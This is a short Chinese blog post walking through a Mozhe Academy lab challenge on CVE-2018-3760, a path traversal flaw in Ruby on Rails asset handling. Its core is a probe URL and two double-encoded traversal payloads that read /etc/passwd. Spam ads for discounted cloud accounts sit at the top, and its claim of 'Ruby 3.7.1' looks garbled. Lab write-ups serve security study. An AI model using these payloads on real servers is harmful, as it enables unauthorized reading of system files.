墨者学院 Ruby On Rails漏洞复现第一题（CVE-2018-3760）-CSDN博客
| 阿里云国内75折 回扣 微信号：monov8 |
| 阿里云国际，腾讯云国际，低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号：monov8 飞机：@monov6 |
打开 web 页面
发现是Ruby在Ruby 3.7.1和更低版本中存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。可以先检测一下是否有此漏洞
/assets/file:%2f%2f/etc/passwd
根据报错路劲构造 payload
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
/assets/file:///usr/src/blog/app/assets/images/../../../../../../etc/passwd
